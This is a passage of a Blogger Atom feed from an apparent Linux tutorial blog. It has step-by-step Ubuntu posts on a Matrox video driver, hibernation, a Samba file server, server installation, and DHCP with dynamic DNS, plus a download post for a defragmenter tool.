http://www.matrox.com/mga/support/drivers/latest/.&lt;br /&gt;&lt;br /&gt;Building the driver must be done with GCC 3.4, so install it, set an environment variable that specifies that it should be used in preference to other installed versions, and run the installer:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install gcc-3.4 gcc-3.4-base&lt;br /&gt;$ export CC=gcc-3.4&lt;br /&gt;$ sudo sh mtxdriver-x86_32-1.4.3.3.run&lt;br /&gt;&lt;br /&gt;Back up your existing libGL installation, since it won't work with the mtx driver:&lt;br /&gt;&lt;br /&gt;$ sudo mkdir /usr/lib/libGL.back&lt;br /&gt;$ sudo mv /usr/lib/libGL.so* /usr/lib/libGL.back/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then edit /etc/X11/xorg.conf, find the Device section for your video card, and alter the Driver line to use the mtx driver:&lt;br /&gt;&lt;br /&gt;Driver          "mtx"&lt;br /&gt;&lt;br /&gt;Finally, reboot your computer so the kernel can load the new module.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8343064931790556928?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8343064931790556928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8343064931790556928'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/02/enable-3-d-video-acceleration.html' title='Enable 3-D Video Acceleration'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-4717397404192219915</id><published>2010-01-24T19:21:00.000+07:00</published><updated>2010-01-24T19:21:15.242+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Hibernate Your Laptop</title><content type='html'>Sleeping is a good way to pause, but it still uses power. Hibernate mode lets you save the contents of memory to disk so you can resume later on. &lt;br /&gt;&lt;br /&gt;You learned how Ubuntu supports ACPI sleep. However, because ACPI sleep does require a trickle of power to keep the CPU and RAM alive, it may not be desirable in all situations. Hibernate has been designed as the complement to ACPI sleep. It takes the contents of RAM and saves them to the system's &lt;a href="" name="ID-ID-d1754e0-907705"&gt;&lt;/a&gt;swap partition. As a result, it requires absolutely zero power to maintain that hibernated state. There is a downside to hibernating a machine, however. Due to the fact that the system saves the contents of RAM before powering off, and then loads the contents of RAM after the kernel loads on reboot, it does take a fair amount of time to enter and exit the hibernated state. However, hibernating is still faster than powering off and restarting your machine, and there's the added benefit of saving application state.&lt;br /&gt;&lt;br /&gt;Since hibernation saves the exact contents of RAM to your swap partition, the size of your swap partition must be larger than the amount of RAM you have in the machine. Ubuntu configures this automatically if you have done a default installation, but if you override the default partitioner during installation, you need to keep this point in mind.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Configuring Hibernation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Since hibernation and sleep are similar and use the underlying Linux ACPI subsystem, they both use gnome-power-manager to configure and control their settings. You can adjust the default type of sleep to be hibernation from within the preferences of gnome-power-manager, but keeping the default set to Suspend makes sense due to the time involved in entering and exiting a hibernated state. If you do decide to adjust this setting, you can right-click on the gnome-power-manager icon, select Preferences, and click on the Options tab&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Using Hibernation&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now that you have your preferences set how you like them, it's time to test hibernation. Assuming you're using the stock Ubuntu preferences for gnome-power-manager, you'll need to engage hibernation by right-clicking on the gnome-power-manager applet and selecting Hibernate. Once you do, the system will immediately dim the screen, and you should hear a good deal of hard-disk activity. Once the disk stops churning, the system will power off. At this point, the system is in hibernate mode and can be left in this state indefinitely without using any battery power. To exit the hibernated state, simply power on the system normally. The bootloader will come up, and the kernel will boot normally, until it detects a RAM image on the swap partition. At that point, the system will load up the RAM image and should return to where you left it. Typical times to enter hibernation run between 30 seconds and 1 minute, and times to exit hibernation (including the BIOS test) run about the same. Between sleep and hibernation, you have all the great power management capabilities at your disposal.&lt;br /&gt;&lt;br /&gt;If your system is configured to boot multiple operating systems, you need to be careful here. In theory, you should be able to hibernate your Ubuntu system and then boot into a different operating system. But this is fundamentally risky: if you change anything on the Ubuntu partition, you'll be in heaps of trouble. And if you're sharing a swap partition between Ubuntu and another Linux distribution, you'll be in a world of trouble if that other Linux distribution boots up, since it will erase your hibernated state (or may itself try to resume from that hibernated state). Play it safe: if you are hibernated, don't boot into anything except the system you hibernated from.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-4717397404192219915?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4717397404192219915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/4717397404192219915'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2010/01/hibernate-your-laptop.html' title='Hibernate Your Laptop'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-2106473932096440572</id><published>2009-11-09T22:25:00.001+07:00</published><updated>2009-11-09T22:29:09.657+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Build a File Server</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Share files with Linux, Windows, and Macintosh machines. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are many different file-sharing protocols, each with strengths and weaknesses and each coming from different development backgrounds. The traditional file-sharing protocol for Unix is NFS (Network File System); for Mac OS, it's AppleShare; and for Windows, it's SMB (Server Message Block). Running a mixed-environment file server used to require supporting a multitude of protocols simultaneously, but in recent years, there has been a convergence on the use of CIFS (Common Internet File System) across all platforms. CIFS is derived from SMB and is the standard file-sharing method in recent versions of Windows. It is also extremely well supported under both Linux and Mac OS as a client and as a server, thanks to the Samba project.&lt;br /&gt;The server component of Samba can even run as a domain controller for a Windows network and supports several authentication backends, including LDAP and TDB. Large installations may benefit from using LDAP, but it is far more complex to set up, so this hack will cover the use of TDB, which is quite suitable for networks up to several hundred users.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Enable Quota Support&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To work with quotas, first install the quota package:&lt;br /&gt;$ sudo apt-get install quota&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Open /etc/fstab (the File System TABle) in your favorite editor and find the line that refers to the partition that will hold your shares. Add the usrquota and grpquota options. If you have /home on a separate partition, you will need to add the same options to that as well. The end result should look something like:&lt;br /&gt;&lt;br /&gt;/dev/hda2     /        ext3 defaults,usrquota,grpquota    0   1&lt;br /&gt;/dev/hda3     /home    ext3 defaults,usrquota,grpquota    0   2&lt;br /&gt;&lt;br /&gt;Then set up the user and group quota files and remount the filesystem:&lt;br /&gt;$ sudo touch /quota.user /quota.group&lt;br /&gt;$ sudo chmod 600 /quota.*&lt;br /&gt;$ sudo mount -o remount /&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If you have a separate /home partition, do the same for that file:&lt;br /&gt;$ sudo touch /home/quota.user /home/quota.group&lt;br /&gt;$ sudo chmod 600 /home/quota.*&lt;br /&gt;$ sudo mount -o remount /home&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Since there is already data on the partitions, you will need to run the Quota Check tool to scan the filesystems and record current usage per user and group, then activate quota enforcement:&lt;br /&gt;&lt;br /&gt;$ sudo quotacheck -avugm&lt;br /&gt;$ sudo quotaon -avug&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The mechanism is now in place to enforce quotas, but no users or groups have limits set, so there is no limit yet on how much of the disk they can use.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Install Samba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On your server, install Samba itself plus some additional packages for documentation, share browsing, and printer sharing:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install samba samba-doc libcupsys2-gnutls10 \\&lt;br /&gt;                 libkrb53 winbind smbclient&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;There are quite a few things to change in the default Samba config file, so open /etc/samba/smb.conf in an editor and go through it to adjust the settings to match the following example. Most of the example can be copied verbatim, but set WORKGROUP to the name of the Windows domain (you can even leave it at WORKGROUP) and set FILESERVER to the hostname of your Linux server:&lt;br /&gt;[global]&lt;br /&gt;   workgroup = WORKGROUP&lt;br /&gt;   netbios name = FILESERVER&lt;br /&gt;   server string = %h server (Samba, Ubuntu)&lt;br /&gt;&lt;br /&gt;   passdb backend = tdbsam&lt;br /&gt;   security = user&lt;br /&gt;   username map = /etc/samba/smbusers&lt;br /&gt;   name resolve order = wins bcast hosts&lt;br /&gt;   domain logons = yes&lt;br /&gt;   preferred master = yes&lt;br /&gt;   wins support = yes&lt;br /&gt;&lt;br /&gt;   ## Use CUPS for printing&lt;br /&gt;   printcap name = CUPS&lt;br /&gt;   printing = CUPS&lt;br /&gt;&lt;br /&gt;   ## Set default logon&lt;br /&gt;   logon drive = H:&lt;br /&gt;   #logon script = scripts/logon.bat&lt;br /&gt;   logon path = \\\\fileserver\\profile\\%U&lt;br /&gt;&lt;br /&gt;   ## User management scripts&lt;br /&gt;   add user script = /usr/sbin/useradd -m %u&lt;br /&gt;   delete user script = /usr/sbin/userdel -r %u&lt;br /&gt;   add group script = /usr/sbin/groupadd %g&lt;br /&gt;   delete group script = /usr/sbin/groupdel %g&lt;br /&gt;   add user to group script = /usr/sbin/usermod -G %g %u&lt;br /&gt;   add machine script = /usr/sbin/useradd -s /bin/false/ -d /var/lib/nobody %u&lt;br /&gt;   idmap uid = 15000-20000&lt;br /&gt;   idmap gid = 15000-20000&lt;br /&gt;&lt;br /&gt;   ## Settings to sync Samba passwords with system passwords&lt;br /&gt;   passwd program = /usr/bin/passwd %u&lt;br /&gt;   passwd chat = *Enter\\snew\\sUNIX\\spassword:* %n\\n *Retype\\snew\\s &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;UNIX\\spassword:* %n\\n .&lt;br /&gt;   passwd chat debug = yes&lt;br /&gt;   unix password sync = yes&lt;br /&gt;&lt;br /&gt;   ## Set the log verbosity level&lt;br /&gt;   log level = 3&lt;br /&gt;&lt;br /&gt;[homes]&lt;br /&gt;   comment = Home&lt;br /&gt;   valid users = %S&lt;br /&gt;   read only = no&lt;br /&gt;   browsable = no&lt;br /&gt;&lt;br /&gt;[printers]&lt;br /&gt;   comment = All Printers&lt;br /&gt;   path = /var/spool/samba&lt;br /&gt;   printable = yes&lt;br /&gt;   guest ok = yes&lt;br /&gt;   browsable = no&lt;br /&gt;&lt;br /&gt;[netlogon]&lt;br /&gt;   comment = Network Logon Service&lt;br /&gt;   path = /home/samba/netlogon&lt;br /&gt;   admin users = Administrator&lt;br /&gt;  valid users = %U&lt;br /&gt;   read only = no&lt;br /&gt;&lt;br /&gt;[profile]&lt;br /&gt;   comment = User profiles&lt;br /&gt;   path = /home/samba/profiles&lt;br /&gt;   valid users = %U&lt;br /&gt;   create mode = 0600&lt;br /&gt;   directory mode = 0700&lt;br /&gt;   writable = yes&lt;br /&gt;   browsable = no&lt;br /&gt;&lt;br /&gt;The commented-out line that says:&lt;br /&gt;   #logon script = scripts/logon.bat&lt;br /&gt;&lt;br /&gt;defines a Windows batch script that will be executed by Windows workstations as soon as a user logs in. This can be really handy if you want to apply standard settings to all computers on your network; you may want to define server drive mappings, set up printers, or configure a proxy server. If you have a logon.bat script, uncomment that line.&lt;br /&gt;Create directories to store domain logons and profiles:&lt;br /&gt;&lt;br /&gt;$ sudo mkdir -p /home/samba/netlogon&lt;br /&gt;$ sudo mkdir /home/samba/profiles&lt;br /&gt;$ sudo mkdir /var/spool/samba&lt;br /&gt;$ sudo chmod 777 /var/spool/samba/&lt;br /&gt;$ sudo chown -R root:users /home/samba/&lt;br /&gt;$ sudo chmod -R 771 /home/samba/&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Make sure Samba has seen your new configuration:&lt;br /&gt;$ sudo /etc/init.d/samba restart&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;To enable WINS (Windows Internet Name Service) host resolution, edit /etc/nsswitch.conf and look for a line similar to:&lt;br /&gt;hosts: files dns mdns&lt;br /&gt;&lt;br /&gt;Change it to:&lt;br /&gt;hosts: files wins dns mdns&lt;br /&gt;&lt;br /&gt;Since your file server is going to be the domain controller (DC) for your Windows domain, you need to specify the computers that will be part of the domain. Open /etc/hosts and add all the servers and workstations:&lt;br /&gt;192.168.0.10 server1&lt;br /&gt;192.168.0.101 workstation1&lt;br /&gt;192.168.0.102 workstation2&lt;br /&gt;...&lt;br /&gt;192.168.0.107 workstation7&lt;br /&gt;&lt;br /&gt;Windows typically has a special user named Administrator, which is akin to the root user on Linux, so add the root user to the Samba password database and set up an alias for it. This will allow you to use the Administrator username to add new computers to the Windows domain:&lt;br /&gt;&lt;br /&gt;$ sudo smbpasswd -a root&lt;br /&gt;$ sudo sh -c "echo 'root = Administrator' &gt; /etc/samba/smbusers"&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;To make sure everything has worked up to this point, use smbclient to query Samba:&lt;br /&gt;$ smbclient -L localhost -U%&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-2106473932096440572?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2106473932096440572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/2106473932096440572'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/11/build-file-server.html' title='Build a File Server'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-8478495987689120090</id><published>2009-11-09T22:21:00.002+07:00</published><updated>2009-11-09T22:25:55.944+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><title type='text'>Download Power Defragmenter</title><content type='html'>Power Defragmenter description&lt;br /&gt;&lt;br /&gt;This software will take the defragmentation process to a whole new level&lt;br /&gt;&lt;br /&gt;Power Defragmenter is a very advanced GUI for the Sysinternals core application which takes defragmentation process to a whole new level.&lt;br /&gt;&lt;br /&gt;Power Defragmenter is a GUI (Graphic User Interface) application for program Contig by Sysinternals.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Contig is a very powerful defragmentation application designed for Windows NT/2000/XP operating systems.&lt;br /&gt;&lt;br /&gt;Contig created by Mark Russinovich and Bryce Cogswell.&lt;br /&gt;&lt;br /&gt;Download mirror &lt;a href="http://www.ziddu.com/download/7282068/PowerDefragmenter.zip.html" target="_blank"&gt;click here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;reference &lt;a href="http://soft-download-info.blogspot.com/2009/11/power-defragmenter.html" target="_blank"&gt;soft-download-info.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-8478495987689120090?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8478495987689120090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/8478495987689120090'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/11/download-power-defragmenter.html' title='Download Power Defragmenter'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5811746140136364220</id><published>2009-10-20T21:14:00.001+07:00</published><updated>2009-10-20T21:17:33.755+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Install and Configure an Ubuntu Server</title><content type='html'>The Ubuntu installer makes it easy to do a clean and minimal server setup. &lt;br /&gt;The Debian distribution has a well-deserved reputation as being extremely well suited for use in the datacenter, and Ubuntu builds on that by providing simplified installation and official commercial support, making it ideal for mission-critical server deployments.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Minimal Installation&lt;br /&gt;&lt;br /&gt;A good principle when building servers is to install as few packages as possible, minimizing the number of things that can go wrong as well as the potential for security flaws. The Ubuntu installer offers a special "server" mode that makes it simple to create a basic server platform onto which you can install the software you require.&lt;br /&gt;Before you perform the actual installation, boot up the server and enter the BIOS setup screen. Because servers typically run without a monitor attached, you will need to find the BIOS setting that tells the computer which errors it should consider fatal and make sure it won't fail on a "no keyboard" or "no monitor" error. The actual setting varies depending on the specific BIOS, so consult the manual for your computer or motherboard if necessary.&lt;br /&gt;Save the BIOS changes and then boot the computer from the Dapper install CD, but don't proceed with the usual installation procedure. If you get a graphical menu, select Install a Server; otherwise, type server at the first prompt. Then, go through the installation procedure. This will give you a minimal selection of packages installed on the system. The server-mode installation doesn't include X or any services at all, giving you a clean platform to configure as you see fit.&lt;br /&gt;One of the first services you will want to install is probably SSH, allowing you to use a secure shell to "Administer Your Server Remotely" &lt;br /&gt;&lt;br /&gt;Static Network Configuration&lt;br /&gt;&lt;br /&gt;You may have a DHCP server on your network already, in which case your server has been assigned an IP address, but most servers need to have static addresses assigned so they can be found on the network.&lt;br /&gt;Open /etc/network/interfaces (as root) in your favorite editor and find a section that looks like this:&lt;br /&gt;&lt;br /&gt;# The primary network interface&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet dhcp&lt;br /&gt;&lt;br /&gt;The dhcp argument tells Ubuntu to use a DHCP server to assign the configuration to this interface, so change it to a static configuration and specify the address, netmask, and gateway (router) addresses. Here's an example:&lt;br /&gt;&lt;br /&gt;# The primary network interface&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet static&lt;br /&gt;        address 192.168.0.3&lt;br /&gt;        netmask 255.255.255.0&lt;br /&gt;        gateway 192.168.0.1&lt;br /&gt;&lt;br /&gt;You can now manually force networking to restart with the following command, but be warned that if the static address you have assigned the server is different from the current address, any SSH sessions will be dropped. You will then be able to log back in at the new address:&lt;br /&gt;&lt;br /&gt;$ sudo /etc/init.d/networking restart&lt;br /&gt;            &lt;br /&gt;UPS-Triggered Shutdown&lt;br /&gt;&lt;br /&gt;A uninterruptible power suppy (UPS) will keep your server running during a short power failure, but batteries don't last forever, and you risk corrupted filesystems if the batteries go flat and the server stops abruptly. Connect your server to your UPS with a null-modem serial cable and install a program to monitor UPS status and begin a clean shutdown in the event of a blackout. Different brands of UPS have different communication methods, and there are a variety of UPS-management packagesincluding genpower, apcd, apcupsd, powstatd, and nuteach of which supports different types of UPS. If you run multiple servers on a single UPS, then nut (Network UPS Tools) is a good choice because it can initiate a shutdown of all your servers at once via the network:&lt;br /&gt;&lt;br /&gt;$ sudo apt-get install nut&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The exact setup process will depend on your UPS type, so start by looking through /usr/share/doc/nut/README.Debian.gz for general background information, and then look at the example configurations in /usr/share/doc/nut/examples/.&lt;br /&gt;Network UPS Tools also has a number of supporting packages available:&lt;br /&gt;&lt;br /&gt;nut-cgi&lt;br /&gt;Web interface subsystem&lt;br /&gt;&lt;br /&gt;nut-dev&lt;br /&gt;Development files&lt;br /&gt;&lt;br /&gt;nut-snmp&lt;br /&gt;Meta SNMP Driver subsystem&lt;br /&gt;&lt;br /&gt;nut-usb&lt;br /&gt;&lt;br /&gt;USB Drivers subsystem&lt;br /&gt;&lt;br /&gt;Remember that if your server is shut down by the UPS-management software, it won't restart automatically when power returns. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5811746140136364220?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5811746140136364220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5811746140136364220'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/10/install-and-configure-ubuntu-server.html' title='Install and Configure an Ubuntu Server'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-9179874846790431483</id><published>2009-10-20T21:12:00.000+07:00</published><updated>2009-10-20T21:14:06.504+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Build a DHCP Server</title><content type='html'>Use a DHCP server to automatically configure the network settings for all computers on your network. &lt;br /&gt;DHCP (Dynamic Host Configuration Protocol) dramatically simplifies the connection of new computers to your network. With a properly configured DHCP server, any new computers you connect will automatically be assigned an IP address, the address of your router, and nameserver addresses. And, to really make things easy on yourself, you can link your DHCP server to the BIND9 DNS server and have new computers automatically assigned a hostname that maps correctly to its dynamically assigned IP address.&lt;br /&gt;&lt;br /&gt;Install the DHCP Daemon&lt;br /&gt;&lt;br /&gt;First, make sure you don't already have a DHCP server running on your network; two servers providing conflicting information is a recipe for obscure network problems! Install the Internet Software Consortium (ISC) DHCP server:&lt;br /&gt;$ sudo apt-get install dhcp3-server&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Basic Configuration&lt;br /&gt;Open the configuration file /etc/dhcp3/dhcpd.conf, where you will see various configuration options that apply both globally and to specific subnets. The majority of the sample options included in the file are quite self-explanatory, so put appropriate entries in the global settings, and then add a basic stanza for your network:&lt;br /&gt;&lt;br /&gt;subnet 192.168.0.0 netmask 255.255.255.0 {&lt;br /&gt;        range 192.168.0.20 192.168.0.50;&lt;br /&gt;        option routers 192.168.0.1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The range setting specifies the pool of IP addresses to use when new computers connect to your network, and the routers option is passed on so they can add a default route to use to connect to the Internet.&lt;br /&gt;Assign Addresses to Specific Hosts&lt;br /&gt;Sometimes it can be helpful to force specific IP addresses to be associated with certain hosts, such as printers. When a host connects to the DHCP server, it provides the MAC (Media Access Control) address of the network interface, and the DHCP server can then use that to associate the host with a specific configuration.&lt;br /&gt;If you don't know the MAC address of your computer, you can find it printed on a label on most Ethernet cards; network printers often have it labeled somewhere near the Ethernet connector. On Linux, you can obtain it using ifconfig:&lt;br /&gt;&lt;br /&gt;$ /sbin/ifconfig eth0 | grep HWaddr&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Back on the DHCP server, open /etc/dhcp3/dhcpd.conf and add a stanza near the end for each host:&lt;br /&gt;host workstation51 {&lt;br /&gt;  hardware ethernet 08:00:07:26:c0:a5;&lt;br /&gt;  fixed-address 192.168.0.51;&lt;br /&gt;}&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Make sure the fixed-addresses you set don't fall within a range that has been nominated for general assignment.&lt;br /&gt;Finally, restart the DHCP server so your configuration will take effect:&lt;br /&gt;$ sudo /etc/init.d/dhcp3-server restart&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hacking the Hack&lt;br /&gt;DNS provides a hostname-to-IP-address resolution service so you don't need to care what actual IP address has been assigned to a computer, but DHCP allows IP addresses to be dished out semi-randomly to machines on your network, which makes it very hard to maintain sensible DNS entries. However, if you use BIND9 to build a domain name server, you can link it to your DHCP server and have DNS records updated automatically each time a computer joins or leaves your network.&lt;br /&gt;First, get your DNS and DHCP servers functioning correctly independently. Once you are happy that they are doing what they are meant to, open the BIND9 configuration file (/etc/bind/named.conf.options) and add a new stanza at the end:&lt;br /&gt;&lt;br /&gt;controls {&lt;br /&gt;        inet 127.0.0.1 allow {localhost; } keys { "rndc-key"; };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;The localhost setting specifies that only local processes are allowed to connect, and rndc-key is the name of a secret key that will be used to authenticate connections. The actual key is stored in /etc/bind/rndc.key, which is pre-populated with a randomized key value when the bind9 package is installed. If your DNS and DHCP servers are on the same physical machine, these settings will work nicely, but if they are on different machines, you will need to tell BIND to allow connections from your DHCP host and copy the key file across. Open /etc/bind/named.conf.local, add forward and reverse zones for your local network, and specify that these zones can be updated by clients that know the secret key:&lt;br /&gt;&lt;br /&gt;zone "example.com" {&lt;br /&gt;        type master;&lt;br /&gt;        file "/etc/bind/zones/example.com.hosts";&lt;br /&gt;        allow-update { key "rndc-key"; };&lt;br /&gt;        notify yes;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;zone "0.168.192.in-addr.arpa" {&lt;br /&gt;        type master;&lt;br /&gt;        file "/etc/bind/zones/192.168.0.hosts";&lt;br /&gt;        allow-update { key "rndc-key"; };&lt;br /&gt;        notify yes;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;Set up the zone files for example.com.hosts and 192.168.0.hosts as usual, including any statically assigned hostname values.&lt;br /&gt;You also need to tell BIND to load the key file, so after the zone stanzas, add an include line:&lt;br /&gt;&lt;br /&gt;include "/etc/bind/rndc.key";&lt;br /&gt;&lt;br /&gt;Once you restart BIND, it will be ready to accept dynamic zone updates:&lt;br /&gt;$ sudo /etc/init.d/bind9 restart&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;Your DHCP server now needs to be told to send update notifications to your DNS server. Open /etc/dhcp3/dhcpd.conf and add these entries to the top of the file:&lt;br /&gt;&lt;br /&gt;server-identifier           server;&lt;br /&gt;ddns-updates                on;&lt;br /&gt;ddns-update-style           interim;&lt;br /&gt;ddns-domainname             "example.com.";&lt;br /&gt;ddns-rev-domainname         "in-addr.arpa.";&lt;br /&gt;ignore                      client-updates;&lt;br /&gt;include                     "/etc/bind/rndc.key";&lt;br /&gt;&lt;br /&gt;zone example.com. {&lt;br /&gt;    primary 127.0.0.1;&lt;br /&gt;    key rndc-key;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;You may need to comment out existing settings that conflict, such as the ddns-update-style none; option included in Ubuntu's default DHCP configuration.&lt;br /&gt;Restart DHCP to apply your changes:&lt;br /&gt;&lt;br /&gt;$ sudo /etc/init.d/dhcp3-server restart&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;From now on, any hosts that register themselves with DHCP will also be automatically added in-memory to your DNS zone. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-9179874846790431483?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/9179874846790431483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/9179874846790431483'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2009/10/build-dhcp-server.html' title='Build a DHCP Server'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-3533490359543979920</id><published>2009-10-02T22:25:00.002+07:00</published><updated>2009-10-02T22:34:36.116+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Use an Encrypted Filesystem to Protect Your Data</title><content type='html'>An encrypted filesystem keeps your data safe even if someone steals your computer and tries to mount the disk. &lt;br /&gt;There are a number of techniques for creating encrypted filesystems, typically based on using some kind of loopback device with an encryption layer spliced in the middle. Popular systems include cryptloop and loop-aes, but a more recent development called dm-crypt has some interesting advantages, so that's what we use for this hack. It's faster than cryptloop, easier to implement than loop-aes, and able to operate on a wide range of block devices even when using RAID or LVM because it's built on a new feature in the 2.6 kernel called device-mapper. device-mapper is designed to provide a generic and flexible way to add extra virtual 